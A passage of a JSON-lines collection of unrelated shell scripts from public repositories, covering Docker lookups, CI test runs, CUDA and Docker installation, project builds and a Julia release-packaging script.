(dictionary)\n # The returned value in this lookup will be the mapped host port, e.g. 50080\n docker inspect -f \"{{ (index (index .NetworkSettings.Ports \\\"80/tcp\\\" ) 0 ).HostPort }}\" $HOST_NAME\n}\n\nHOST_NAME_IN=${1:-service-node-o17}\nNETWORK_NAME_IN=${2:-overlay-net}\nHOST_NAME=$HOST_NAME_IN\nNETWORK_NAME=${NETWORK_NAME_IN}\n\nLONG_ID=$(docker inspect -f \"{{.Id}}\" $HOST_NAME)\necho\necho Docker container lookups::\necho fn_show_exposed_ports ${HOST_NAME}\nfn_show_exposed_ports ${HOST_NAME}\necho\necho \"fn_lookup_mapped_host_port \\\"80/tcp\\\"\"\nfn_lookup_mapped_host_port\necho\necho Docker network lookups:::\necho IP address of host $HOST_NAME on network \\\"$NETWORK_NAME\\\"\nfn_docker_dns_lookup $NETWORK_NAME ${HOST_NAME}\necho\necho fn_show_docker_networks: list the active docker networks\nfn_show_docker_networks\necho \necho fn_show_containers_in_network ${NETWORK_NAME}\nfn_show_containers_in_network ${NETWORK_NAME}\necho\necho fn_list_containers_in_network ${NETWORK_NAME}\nfn_list_containers_in_network ${NETWORK_NAME}\necho\necho fn_show_overlay_tenants\nfn_show_overlay_tenants\necho\necho fn_docker_dns_lookup ${NETWORK_NAME} ${HOST_NAME}\nfn_docker_dns_lookup ${NETWORK_NAME} ${HOST_NAME}\necho"} {"text": "smanilov/playground0\n#! /bin/sh\n\necho \"Standard compilation (64-bit?)\"\ng++ -std=c++98 vector-array.cpp -o tmp\n./tmp \n \necho \"\"\necho \"\"\necho \"32-bit\"\ng++ -m32 -std=c++98 vector-array.cpp -o tmp\n./tmp"} {"text": "#!/usr/bin/env bash\n. \"${BASH_SOURCE%/*}/common-include.sh\" || exit 1\n\n# The idea here is to generate a baseline of the given command output, then periodically\n# re-run the command and compare the results--any differences are reported. Useful for\n# watching 'lsof' or other to see what a process is doing. \n\nCMD=\"$1\"\nFREQ=\"$2\"\nif [ $# -eq 0 ]; then\n\tUSAGE \"CMD\" \"FREQ\" && exit 1\nfi\n\nBASE_TMP=\"$(MKTEMP \"$0\")\"\neval \"$CMD 2>/dev/null\" > \"$BASE_TMP\"\nLAST_MD5=$(openssl dgst -md5 -r \"$BASE_TMP\" | $SEDCMD -r 's/([^[:space:]]+).*/\\1/')\nclear; echo \"Every $FREQ.0s: $CMD\"; echo\n\nNEW_TMP=\"$(MKTEMP \"$0\")\"\nDIFF=\"$(MKTEMP \"$0\")\"\nwhile true; do\n\teval \"$CMD 2>/dev/null\" > \"$NEW_TMP\"\n\tNEW_MD5=$(openssl dgst -md5 -r \"$NEW_TMP\" | $SEDCMD -r 's/([^[:space:]]+).*/\\1/')\n\tif [ \"$LAST_MD5\" != \"$NEW_MD5\" ]; then\n\t\tclear; echo \"Every $FREQ.0s: $CMD\"; echo\n\t\tdiff -ywi --suppress-common-lines -W 260 \"$BASE_TMP\" \"$NEW_TMP\" >> \"$DIFF\"\n\t\ttail -n 50 \"$DIFF\"\n\t\tLAST_MD5=\"$NEW_MD5\"\n\tfi\n\n\tsleep $FREQ\ndone\n\nrm \"$BASE_TMP\" \"$NEW_TMP\" \"$DIFF\""} {"text": "#!/usr/bin/env bash\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\"/../../.. && pwd)\"\nsource \"$ROOT/scripts/ci/lib.sh\"\n\nset -euo pipefail\n\nintegration_unit_tests() {\n info \"Starting integration unit tests\"\n # Retry a few times if the tests fail since they can be flaky.\n local success=0\n local max_tries=5\n for i in $(seq 1 \"${max_tries}\"); do\n if make integration-unit-tests; then\n success=1\n break\n fi\n echo \"Retrying (failed ${i} times)\"\n done\n if [[ \"${success}\" == 0 ]]; then\n echo \"Failed after ${max_tries} tries\"\n touch FAIL\n fi\n \n info \"Saving junit XML report\"\n make generate-junit-reports || touch FAIL\n store_test_results junit-reports reports\n\n [[ ! -f FAIL ]] || die \"Unit tests failed\"\n}\n\nintegration_unit_tests \"$*\""} {"text": "scripts/prepare_instance.sh\n#!/bin/bash\n\n# Install Docker\nsudo apt-get update\nsudo DEBIAN_FRONTEND=noninteractive apt-get -y upgrade\nsudo apt-get install \\\n apt-transport-https \\\n ca-certificates \\\n curl \\\n software-properties-common \\\n wget -y\n\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\n\nsudo apt-key fingerprint 0EBFCD88 && \\\n sudo add-apt-repository \\\n \"deb [arch=amd64] https://download.docker.com/linux/ubuntu \\\n $(lsb_release -cs) \\\n stable\"\n\nsudo apt-get update && \\\n sudo apt-get install docker-ce -y\n\n# Install CUDA\nsudo apt-key adv --fetch-keys http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub\nsudo wget http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-repo-ubuntu1804_10.0.130-1_amd64.deb\nsudo dpkg -i cuda-repo-ubuntu1804_10.0.130-1_amd64.deb\nsudo apt-get update -y\nsudo apt-get install cuda -y\n\nexport CUDA_HOME=/usr/local/cuda\nexport CUDA_ROOT=/usr/local/cuda\nexport PATH=/usr/local/cuda/bin:$PATH\nexport LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH\n\n# Intall NVIDIA-Docker\ncurl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | \\\n sudo apt-key add -\ndistribution=$(. /etc/os-release;echo $ID$VERSION_ID)\ncurl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | \\\n sudo tee /etc/apt/sources.list.d/nvidia-docker.list\n\nsudo apt-get update && \\\n sudo apt-get install nvidia-docker2 -y && \\\n sudo pkill -SIGHUP dockerd\n\n# Run ekholabs/toxicity\nsudo docker pull ekholabs/toxicity\nsudo docker run --runtime=nvidia -d -v $HOME:/data ekholabs/toxicity python main.py cnn"} {"text": "#!/bin/bash\n\nexport RSA_KEY=\"./tls.key\"\nexport RSA_CRT=\"./tls.crt\"\nexport DAYS=730"} {"text": "#!/bin/bash\n#\n# Copyright 2019 WeBank\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\ncd `dirname $0`\ncd ..\nHOME=`pwd`\n\nexport SERVER_PID=$HOME/bin/linkis.pid\nexport SERVER_LOG_PATH=$HOME/logs\nexport SERVER_CLASS=com.webank.wedatasphere.linkis.DataWorkCloudApplication\n\nif test -z \"$SERVER_HEAP_SIZE\"\nthen\n export SERVER_HEAP_SIZE=\"512M\"\nfi\n\nif test -z \"$SERVER_JAVA_OPTS\"\nthen\n export SERVER_JAVA_OPTS=\" -Xmx$SERVER_HEAP_SIZE -XX:+UseG1GC -Xloggc:$HOME/logs/linkis-gc.log\"\nfi\n\nif [[ -f \"${SERVER_PID}\" ]]; then\n pid=$(cat ${SERVER_PID})\n if kill -0 ${pid} >/dev/null 2>&1; then\n echo \"Server is already running.\"\n exit 1\n fi\nfi\n\nnohup java $SERVER_JAVA_OPTS -cp ../module/lib/*:$HOME/conf:$HOME/lib/* $SERVER_CLASS 2>&1 > $SERVER_LOG_PATH/linkis.out &\npid=$!\nif [[ -z \"${pid}\" ]]; then\n echo \"server $SERVER_NAME start failed!\"\n exit 1\nelse\n echo \"server $SERVER_NAME start succeeded!\"\n echo $pid > $SERVER_PID\n sleep 1\nfi"} {"text": "packages/flutter_tools/bin/xcode_backend.sh\n#!/usr/bin/env bash\n# Copyright 2014 The Flutter Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# exit on error, or usage of unset var\nset -euo pipefail\n\n# Needed because if it is set, cd may print the path it changed to.\nunset CDPATH\n\nfunction follow_links() (\n cd -P \"$(dirname -- \"$1\")\"\n file=\"$PWD/$(basename -- \"$1\")\"\n while [[ -h \"$file\" ]]; do\n cd -P \"$(dirname -- \"$file\")\"\n file=\"$(readlink -- \"$file\")\"\n cd -P \"$(dirname -- \"$file\")\"\n file=\"$PWD/$(basename -- \"$file\")\"\n done\n echo \"$file\"\n)\n\nPROG_NAME=\"$(follow_links \"${BASH_SOURCE[0]}\")\"\nBIN_DIR=\"$(cd \"${PROG_NAME%/*}\" ; pwd -P)\"\nFLUTTER_ROOT=\"$BIN_DIR/../../..\"\nDART=\"$FLUTTER_ROOT/bin/dart\"\n\n\"$DART\" \"$BIN_DIR/xcode_backend.dart\" \"$@\""} {"text": "0\n#!/bin/zsh\ntsc && (node ./dst/index.js)"} {"text": "CRYPTOPP_VER=\"7_0_0\"\n\n# Download crypto++\n\n[ ! -d cryptopp ] && \\\n get_archive \"https://github.com/weidai11/cryptopp/archive/CRYPTOPP_$CRYPTOPP_VER.tar.gz\" \\\n \"CRYPTOPP_$CRYPTOPP_VER.tar.gz\" \"3ee97903882b5f58c88b6f9d2ce50fd1000be95479180c7b4681cd3f4c1c7629\" && \\\n[ -d cryptopp-CRYPTOPP_$CRYPTOPP_VER ] && mv cryptopp-CRYPTOPP_$CRYPTOPP_VER cryptopp\n\n# Build crypto++\nif [ ! -f cryptopp/libcryptopp.a ]; then\n print_separator \"=\" 80\n echo \" BUILDING crypto++\"\n print_separator \"=\" 80\n\n cd cryptopp\n make -j$CPUCOUNT\n cd ..\nelse\n print_separator \"=\" 80\n echo \" crypto++ ALREADY BUILT\"\n print_separator \"=\" 80\nfi"} {"text": "#!/bin/bash -e\n\nset -o pipefail\n\n# Create a database within the postgres install\npsql -c 'create database travis_ci_test;' -U postgres\n\n# Initialize our schema\npushd api\nnpx db-migrate up -e test\npopd\n\ncp build/.env.travis .env\n\nyarn build:api\nyarn test\nyarn run lint-check"} {"text": "#!/bin/bash\n\nsudo mv kube-proxy.kubeconfig /var/lib/kube-proxy/kubeconfig\n\ncat <raoxiaojia/raoxiaojia.github.io\ngit add --all\ngit commit -m notes\ngit push -u origin master"} {"text": "#!/bin/bash\n#set -e\n\nif [ \"$DD_TOKEN\" == \"\" ]; then\n echo \"DD_TOKEN not set\"\n exit;\nfi\n\nexport DD_URL=\"https://defectdojo-test.tools.sda-se.io/\"\n#export DD_URL=http://localhost:8081/\n\nexport DD_USER=\"admin\"\nexport DD_PRODUCT_NAME=\"test-2021-11-04\"\nexport DD_PRODUCT_DESCRIPTION=\"Test defectdojo by tpagel\"\nexport DD_BRANCH_NAME=\"image:2.0.0\"\n#export DD_BUILD_ID=1\nexport DD_SOURCE_CODE_MANAGEMENT_URI=\"\" # https://github.com/XYZ\nexport DD_DEDUPLICATION_ON_ENGAGEMENT=\"true\"\nexport DD_REPORT_PATH=\"./test/dependency-check-report-5.xml\"\n#groovy defectdojo.groovy\n\nexport DD_REPORT_PATH=\"./test/dependency-check-report-10.xml\"\n#groovy defectdojo.groovy\n\nexport DD_REPORT_PATH=\"./test/findings.csv\"\nexport DD_REPORT_TYPE=\"Generic Findings Import\"\ngroovy defectdojo.groovy\ngroovy defectdojo.groovy # two times\n\n\nexport DD_REPORT_TYPE=\"Dependency Check Scan\"\nexport DD_BRANCH_NAME=\"image:2.0.1\"\nexport DD_REPORT_PATH=\"./test/dependency-check-report-10.xml\"\ngroovy defectdojo.groovy\n\nexport DD_REPORT_PATH=\"./test/dependency-check-report-5.xml\"\ngroovy defectdojo.groovy\n\nexport DD_REPORT_PATH=\"./test/findings.csv\"\nexport DD_REPORT_TYPE=\"Generic Findings Import\"\ngroovy defectdojo.groovy"} {"text": "1-10\n#!/usr/bin/env sh\n\n# Issue a NGINX reload signal (SIGUSR2 indicates to the wrapper to ONLY reload\n# NGINX and not other configuration) to the nginx-wrapper.\nWRAPPER_PID=\"$(cat /opt/nginx-wrapper/run/nginx-wrapper.pid)\"\nkill -s SIGUSR2 \"${WRAPPER_PID}\""} {"text": "scripts/create-yaml.sh\n#!/usr/bin/env bash\n\nSCRIPT_DIR=$(cd $(dirname \"$0\"); pwd -P)\nMODULE_DIR=$(cd \"${SCRIPT_DIR}/..\"; pwd -P)\n\nREGISTRY_URL=\"$1\"\nREGISTRY_NAMESPACE=\"$2\"\nDISPLAY_NAME=\"$3\"\nDEST_DIR=\"$4\"\n\nif [[ -z \"${TMP_DIR}\" ]]; then\n TMP_DIR=\".tmp\"\nfi\nmkdir -p \"${TMP_DIR}\"\nmkdir -p \"${DEST_DIR}\"\n\nkubectl create configmap registry-config \\\n --from-literal=url=\"${REGISTRY_URL}\" \\\n --from-literal=namespace=\"${REGISTRY_NAMESPACE}\" \\\n --dry-run=client \\\n -o yaml | \\\nkubectl label --local=true -f - --dry-run=client -o yaml \\\n group=cloud-native-toolkit \\\n grouping=garage-cloud-native-toolkit \\\n console-link.cloud-native-toolkit.dev/enabled=true | \\\nkubectl annotate --local=true -f - --dry-run=client -o yaml \\\n console-link.cloud-native-toolkit.dev/imageUrl=\"${IMAGE_URL}\" \\\n console-link.cloud-native-toolkit.dev/displayName=\"${DISPLAY_NAME}\" > \"${DEST_DIR}/registry-config.yaml\"\n\nfind \"${DEST_DIR}\" -name \"*\""} {"text": "#!/bin/bash\n# Using SAC and SHEBA, plot the results of the test_splitwave program.\n\nmacrodir=~/Applications/sacmacros\n\n./test_splitwave && {\n\n\tcat <<-END | sac\n\tsetmacro $macrodir\n\twindow 1 x 0 0.5 y 0.3 1\n\tbd x\n\tm sheba file wave_fdsplit nwind one pick no\n\tm sheba file wave_tdsplit nwind one pick no\n\tq\n\tEND\n\t\n\tcleansheba\n\n} || { echo \"Problem running test_splitwave\"; exit 1; }"} {"text": "QMuhammad9009/CS232Work\n#!/bin/bash\nchmod 755 ./*.sh\n./testit1.sh\n./testit2.sh"} {"text": "1-10\n#!/usr/bin/env bash\n\necho $PATH |\nsed -e 's/:/\\n/g' |\nparallel \"find {} -maxdepth 1 -perm +111 -type f 2>/dev/null\" |\nparallel \"basename {}\"\nsort | uniq\nparallel \"echo -n {},; man -w 1 {} 2>/dev/null 1>&2 && echo 1 || echo 0\""} {"text": "#!/usr/bin/env bash\n\nset -ex\n\n#build dynamic by default\nbuild_type=$1\nbc=`perl -e '$bt=\"'$build_type'\"; if($bt=~/static/i) { print \"megadepth_static\"; } elsif($bt=~/statlib/i) { print \"megadepth_statlib\"; } else { print \"megadepth_dynamic\"; }'`\n\nln -fs CMakeLists.txt.ci CMakeLists.txt\n\n#clear symlink main lib dirs\nrm -rf zlib htslib libBigWig libdeflate build-release-temp\n\nif [[ ! -s zlib_ci ]] ; then\n ./get_zlib.sh\n mv zlib zlib_ci\nfi\nln -fs zlib_ci zlib\n\nif [[ ! -s libdeflate_ci ]] ; then\n ./get_libdeflate.sh\n mv libdeflate libdeflate_ci\nfi\nln -fs libdeflate_ci libdeflate\n\nif [[ ! -s htslib_ci ]] ; then\n export CPPFLAGS=\"-I../libdeflate\"\n export LDFLAGS=\"-L../libdeflate -ldeflate\"\n ./get_htslib.sh linux\n export CPPFLAGS=\n export LDFLAGS=\n mv htslib htslib_ci\nfi\nln -fs htslib_ci htslib\n\nif [[ ! -s libBigWig_ci ]] ; then\n ./get_libBigWig.sh\n mv libBigWig libBigWig_ci\nfi\nln -fs libBigWig_ci libBigWig\n\nset -x\n\n#compile a no-curl static version of libBigWig\nif [[ $bc == 'megadepth_static' ]]; then\n pushd libBigWig\n make clean\n make -f Makefile.nocurl lib-static\n popd\nfi\n\n#compile a position indenpendent code static version of libBigWig\n#but *with* curl calls present, to be resolved later in the\n#dynamic linking of megadepth\nif [[ $bc == 'megadepth_statlib' ]]; then\n pushd libBigWig\n make clean\n make -f Makefile.fpic lib-static\n popd\nfi\n\n#compile a the original, dynamic version of libBigWig\nif [[ $bc == 'megadepth_dynamic' ]]; then\n pushd libBigWig\n make clean\n make -f Makefile.orig lib-shared\n popd\nfi\n\nexport LD_LIBRARY_PATH=./htslib:./libBigWig:$LD_LIBRARY_PATH\n\nDR=build-release-temp\nmkdir -p ${DR}\npushd ${DR}\ncmake -DCMAKE_BUILD_TYPE=Release ..\nmake ${bc}\npopd\ncp ${DR}/${bc} ./${bc}_ci\nln -fs ./${bc}_ci megadepth\n./megadepth --version\nrm -rf ${DR}\n\nDR=build-debug-temp\nmkdir -p ${DR}\npushd ${DR}\ncmake -DCMAKE_BUILD_TYPE=Debug ..\nmake ${bc}\npopd\ncp ${DR}/${bc} ./${bc}_debug\nln -fs ./${bc}_debug megadepth_debug\n./megadepth_debug --version\nrm -rf ${DR}"} {"text": "scripts/build-docs.sh0\n#!/usr/bin/env bash\nmvn -Pdocs asciidoctor:process-asciidoc"} {"text": "ddsp_run \\\n --mode=train \\\n --alsologtostderr \\\n --gin_param=\"batch_size=8\" \\\n --gin_param=\"train_util.train.num_steps=12000\" \\\n --gin_param=\"train_util.train.steps_per_save=300\" \\\n --gin_param=\"train_util.train.steps_per_summary=100\" \\\n --gin_param=\"trainers.Trainer.checkpoints_to_keep=1\" \\\n --save_dir=\"$RESULTS_DIR/time_aggregation_base_average_mfcc\" \\\n --gin_file=/mnt/antares_raid/home/nielsrolf/ddsp/ddsp/training/gin/models2/experiments/time_aggregation/generated/time_aggregation_base_average_mfcc.gin \n\n\nddsp_run \\\n --mode=train \\\n --alsologtostderr \\\n --gin_param=\"batch_size=8\" \\\n --gin_param=\"train_util.train.num_steps=12000\" \\\n --gin_param=\"train_util.train.steps_per_save=300\" \\\n --gin_param=\"train_util.train.steps_per_summary=100\" \\\n --gin_param=\"trainers.Trainer.checkpoints_to_keep=1\" \\\n --save_dir=\"$RESULTS_DIR/time_aggregation_base_groupwise_mfcc\" \\\n --gin_file=/mnt/antares_raid/home/nielsrolf/ddsp/ddsp/training/gin/models2/experiments/time_aggregation/generated/time_aggregation_base_groupwise_mfcc.gin \n\n\nddsp_run \\\n --mode=train \\\n --alsologtostderr \\\n --gin_param=\"batch_size=8\" \\\n --gin_param=\"train_util.train.num_steps=12000\" \\\n --gin_param=\"train_util.train.steps_per_save=300\" \\\n --gin_param=\"train_util.train.steps_per_summary=100\" \\\n --gin_param=\"trainers.Trainer.checkpoints_to_keep=1\" \\\n --save_dir=\"$RESULTS_DIR/time_aggregation_base_confidence_mfcc\" \\\n --gin_file=/mnt/antares_raid/home/nielsrolf/ddsp/ddsp/training/gin/models2/experiments/time_aggregation/generated/time_aggregation_base_confidence_mfcc.gin \n\n\nddsp_run \\\n --mode=train \\\n --alsologtostderr \\\n --gin_param=\"batch_size=8\" \\\n --gin_param=\"train_util.train.num_steps=12000\" \\\n --gin_param=\"train_util.train.steps_per_save=300\" \\\n --gin_param=\"train_util.train.steps_per_summary=100\" \\\n --gin_param=\"trainers.Trainer.checkpoints_to_keep=1\" \\\n --save_dir=\"$RESULTS_DIR/time_average_mfcc\" \\\n --gin_file=/mnt/antares_raid/home/nielsrolf/ddsp/ddsp/training/gin/models2/experiments/time_constant/time_average.gin"} {"text": "sjain-stanford/route-fcn10-100\n#!/usr/bin/env bash\nsource .env/bin/activate\n\npip install numpy\npip install http://download.pytorch.org/whl/cu80/torch-0.1.12.post2-cp35-cp35m-linux_x86_64.whl\npip install torchvision\ndeactivate"} {"text": "#!/usr/bin/env bash\n\nset -e\nset -x\nshopt -s dotglob\n\nreadonly name=\"libproj\"\nreadonly ownership=\"Proj Upstream <>\"\nreadonly subtree=\"ThirdParty/$name/vtk$name\"\nreadonly repo=\"https://gitlab.kitware.com/third-party/proj.git\"\nreadonly tag=\"for/vtk-20220109-8.1.0\"\nreadonly paths=\"\n.gitattributes\nChangeLog\nCOPYING\nCMakeLists.txt\nREADME.md\nREADME.kitware.md\n\ncmake/ProjConfig.cmake\ncmake/ProjTest.cmake\ncmake/ProjUtilities.cmake\ncmake/ProjVersion.cmake\ncmake/proj_config.cmake.in\n\ndata/\n\ninclude/CMakeLists.txt\ninclude/proj/CMakeLists.txt\ninclude/proj/*.hpp\ninclude/proj/internal/*.hpp\n\nsrc/CMakeLists.txt\nsrc/lib_proj.cmake\nsrc/projections/*.cpp\nsrc/conversions/*.cpp\nsrc/transformations/*.cpp\nsrc/transformations/*.hpp\nsrc/iso19111/*.cpp\nsrc/iso19111/operation/*.cpp\nsrc/iso19111/operation/*.hpp\nsrc/*.c\nsrc/*.h\nsrc/*.cpp\nsrc/*.hpp\nsrc/vtk_libproj_mangle.h\n\"\n\nextract_source () {\n git_archive\n pushd \"$extractdir/$name-reduced\"\n rm -rvf data/tests/\n rm data/Makefile.am\n popd\n}\n\n. \"${BASH_SOURCE%/*}/../update-common.sh\""} {"text": "#!/bin/sh\n\nset -e\n\nmkdir -p \"${PROJECT_DIR}/.tmp/\"\n\n# Make a copy of the Info.plist file in the .tmp folder\n# This will be the Info.plist file manipulated with the version\n# information that is generated below.\n\nif [ -f \"${PROJECT_DIR}/.tmp/Info.plist\" ]; then\n\trm -f \"${PROJECT_DIR}/.tmp/Info.plist\"\nfi\n\nif [ \"${TEXTUAL_BUILD_SCHEME_TOKEN}\" == \"appstore\" ]; then\n\tcp \"${PROJECT_DIR}/Resources/Property Lists/Application Properties/InfoAppStore.plist\" \"${PROJECT_DIR}/.tmp/Info.plist\"\nelse\n\tcp \"${PROJECT_DIR}/Resources/Property Lists/Application Properties/Info.plist\" \"${PROJECT_DIR}/.tmp/Info.plist\"\nfi\n\n# Make a copy of the appropriate entitlements file.\nif [ -f \"${CODE_SIGN_ENTITLEMENTS}\" ]; then\n\trm -f \"${CODE_SIGN_ENTITLEMENTS}\"\nfi\n\nif [ \"${TEXTUAL_BUILD_SCHEME_TOKEN}\" == \"appstore\" ]; then\n\tcp \"${PROJECT_DIR}/Resources/Sandbox/Entitlements/TextualAppStore.entitlements\" \"${CODE_SIGN_ENTITLEMENTS}\"\nelse\n\tif [[ \"${GCC_PREPROCESSOR_DEFINITIONS}\" == *\"TEXTUAL_BUILT_INSIDE_SANDBOX=1\"* ]]; then\n\t\t# While we are here, check to make sure that the user\n\t\t# performed the necessary configuration changes\n\t\tif [ \"${TEXTUAL_BUNDLE_IDENTIFIER}\" != \"com.codeux.irc.textual5\" ] || [ \"${TEXTUAL_GROUP_CONTAINER_IDENTIFIER}\" != \"8482Q6EPL6.com.codeux.irc.textual\" ]; then\n\t\t\techo \"Before changing TEXTUAL_BULIT_INSIDE_SANDBOX to 1, make the changes noted in the comments of the configuration file.\";\n\n\t\t\texit 1;\n\t\tfi\n\n\t\tcp \"${PROJECT_DIR}/Resources/Sandbox/Entitlements/TextualWithSandbox.entitlements\" \"${CODE_SIGN_ENTITLEMENTS}\"\n\telse\n\t\tcp \"${PROJECT_DIR}/Resources/Sandbox/Entitlements/TextualWithoutSandbox.entitlements\" \"${CODE_SIGN_ENTITLEMENTS}\"\n\tfi\nfi\n\ncd \"${PROJECT_DIR}/.tmp/\"\n\n# Write the version information to the Info.plist file\n# The build version is the date of the last commit in git\ngitBundle=`which git`\n\nif [ -z \"${gitBundle}\" ]; then\ngitDateOfLastCommit=\"000000.00\"\nelse \ngitDateOfLastCommit=`\"${gitBundle}\" log -n1 --format=\"%at\"`\nfi\n\nbundleVersion=`/bin/date -u -r \"${gitDateOfLastCommit}\" \"+%y%m%d.%H\"`\n\n/usr/libexec/PlistBuddy -c \"Set \\\"CFBundleVersion\\\" \\\"${bundleVersion}\\\"\" Info.plist\n\n# Gather the information necessary for building Textual's BuildConfig.h\n# header. This header file gives various section of the code base version\n# information so it does not need to constantly access the Info.plist file.\nbundleVersionShort=$(/usr/libexec/PlistBuddy -c \"Print \\\"CFBundleShortVersionString\\\"\" Info.plist)\n\n# ------ #\n\necho \"/* ANY CHANGES TO THIS FILE WILL NOT BE SAVED AND WILL NOT BE COMMITTED */\" > BuildConfig.h\n\necho \"\" >> BuildConfig.h\n\necho \"#define TXBundleBuildProductName\t\t\t\t\t\t@\\\"${PRODUCT_NAME}\\\"\" >> BuildConfig.h\necho \"#define TXBundleBuildProductIdentifier\t\t\t\t@\\\"${PRODUCT_BUNDLE_IDENTIFIER}\\\"\" >> BuildConfig.h\necho \"#define TXBundleBuildProductIdentifierCString\t\t\t\\\"${PRODUCT_BUNDLE_IDENTIFIER}\\\"\" >> BuildConfig.h\n\necho \"#define TXBundleBuildGroupContainerIdentifier\t\t\t@\\\"${TEXTUAL_GROUP_CONTAINER_IDENTIFIER}\\\"\" >> BuildConfig.h\n\necho \"#define TXBundleBuildVersion\t\t\t\t\t\t\t@\\\"${bundleVersion}\\\"\" >> BuildConfig.h\necho \"#define TXBundleBuildVersionShort\t\t\t\t\t\t@\\\"${bundleVersionShort}\\\"\" >> BuildConfig.h\n\necho \"#define TXBundleBuildScheme\t\t\t\t\t\t\t@\\\"${TEXTUAL_BUILD_SCHEME_TOKEN}\\\"\" >> BuildConfig.h\n\necho \"#define TXBundleBuildDate\t\t\t\t\t\t\t\t@\\\"$(date +%s)\\\"\" >> BuildConfig.h\n\nif [ -z \"$CODE_SIGN_IDENTITY\" ]; then\necho \"#define TXBundleBuiltWithoutCodeSigning\t\t\t\t1\" >> BuildConfig.h\nfi"} {"text": "rm *.gz 2> /dev/null \nrm delete_backups_older_than_x_days 2> /dev/null\nrm config.sh 2> /dev/null"} {"text": "openssl req -config openssl.cnf \\\n -key private/ca.key.pem \\\n -new -x509 -days 7300 -sha256 -extensions v3_ca \\\n -out certs/ca.cert.pem"} {"text": "export ANGIOTK_BINARY_DIR=$HOME/AngioTK/angiotk.build/bin/\nexport MY_CFG_DIR=$HOME/AngioTK/angiotk/Examples/MeshFromMRI/Base2_FOA42/artery/\n\n$ANGIOTK_BINARY_DIR/meshing_surfacefromimage --config-file $MY_CFG_DIR/surfacefromimage.cfg || exit 1\n\nfor CenterlineId in 1 2 3 4\ndo\n$ANGIOTK_BINARY_DIR/meshing_centerlines --config-file $MY_CFG_DIR/centerlines.cfg \\\n --input.pointpair.filename=\\$cfgdir/data/pointpair$CenterlineId.data \\\n --output.directory=angiotk/Base2/FOA42/artery/centerlines/part$CenterlineId\ndone\n\n$ANGIOTK_BINARY_DIR/meshing_centerlinesmanager --config-file $MY_CFG_DIR/centerlinesmanager.cfg || exit 1\n$ANGIOTK_BINARY_DIR/meshing_imagefromcenterlines --config-file $MY_CFG_DIR/imagefromcenterlines.cfg || exit 1\n$ANGIOTK_BINARY_DIR/meshing_surfacefromimage --config-file $MY_CFG_DIR/surfacefromimage2.cfg || exit 1\n$ANGIOTK_BINARY_DIR/meshing_remeshstl --config-file $MY_CFG_DIR/remeshstlgmsh.cfg || exit 1\n\n$ANGIOTK_BINARY_DIR/meshing_volumefromstlandcenterlines --config-file $MY_CFG_DIR/volumefromstlandcenterlines.cfg || exit 1"} {"text": "#!/bin/sh\n# This file is a part of Julia. License is MIT: http://julialang.org/license\n\n# script to prepare binaries and source tarballs for a Julia release\n# aka \"bucket dance\" julianightlies -> julialang\nset -e # stop on failure\ncd \"$(dirname \"$0\")\"/.. # run in top-level directory\n\nshashort=$(git rev-parse --short=10 HEAD)\ntag=$(git tag --points-at $shashort)\nif [ -z \"$tag\" ]; then\n echo \"error: this script must be run with a tagged commit checked out\" >&2\n exit 1\nfi\nversion=$(cat VERSION)\nmajmin=$(cut -d. -f1-2 VERSION)\n# remove -rc# if present\nmajminpatch=$(cut -d- -f1 VERSION)\nif [ \"$tag\" != \"v$version\" ]; then\n echo \"error: tagged commit does not match content of VERSION file\" >&2\n exit 1\nfi\n\n# create full-source-dist and light-source-dist tarballs from a separate\n# clone to ensure the directory name in them is julia-$version\ngit clone https://github.com/JuliaLang/julia -b $tag julia-$version\ncd julia-$version\nmake full-source-dist\nmake light-source-dist\nmv julia-${version}_$shashort-full.tar.gz ../julia-$version-full.tar.gz\nmv julia-${version}_$shashort.tar.gz ../julia-$version.tar.gz\ncd ..\nrm -rf julia-$version\n\n# download and rename binaries, with -latest copies\njulianightlies=\"https://s3.amazonaws.com/julianightlies/bin\"\ncurl -L -o julia-$version-linux-x86_64.tar.gz \\\n $julianightlies/linux/x64/$majmin/julia-$majminpatch-$shashort-linux64.tar.gz\ncp julia-$version-linux-x86_64.tar.gz julia-$majmin-latest-linux-x86_64.tar.gz\ncurl -L -o julia-$version-linux-i686.tar.gz \\\n $julianightlies/linux/x86/$majmin/julia-$majminpatch-$shashort-linux32.tar.gz\ncp julia-$version-linux-i686.tar.gz julia-$majmin-latest-linux-i686.tar.gz\ncurl -L -o julia-$version-linux-arm.tar.gz \\\n $julianightlies/linux/arm/$majmin/julia-$majminpatch-$shashort-linuxarm.tar.gz\ncp julia-$version-linux-arm.tar.gz julia-$majmin-latest-linux-arm.tar.gz\ncurl -L -o julia-$version-linux-ppc64le.tar.gz \\\n $julianightlies/linux/ppc64le/$majmin/julia-$majminpatch-$shashort-linuxppc64.tar.gz\ncp julia-$version-linux-ppc64le.tar.gz julia-$majmin-latest-linux-ppc64le.tar.gz\ncurl -L -o \"julia-$version-osx10.7 .dmg\" \\\n $julianightlies/osx/x64/$majmin/julia-$majminpatch-$shashort-osx.dmg\ncp \"julia-$version-osx10.7 .dmg\" \"julia-$majmin-latest-osx10.7 .dmg\"\ncurl -L -o julia-$version-win64.exe \\\n $julianightlies/winnt/x64/$majmin/julia-$majminpatch-$shashort-win64.exe\ncp julia-$version-win64.exe julia-$majmin-latest-win64.exe\ncurl -L -o julia-$version-win32.exe \\\n $julianightlies/winnt/x86/$majmin/julia-$majminpatch-$shashort-win32.exe\ncp julia-$version-win32.exe julia-$majmin-latest-win32.exe\n\necho \"Note: if windows code signing is not working on the buildbots, then the\"\necho \"checksums need to be re-calculated after the binaries are manually signed!\"\n\nshasum -a 256 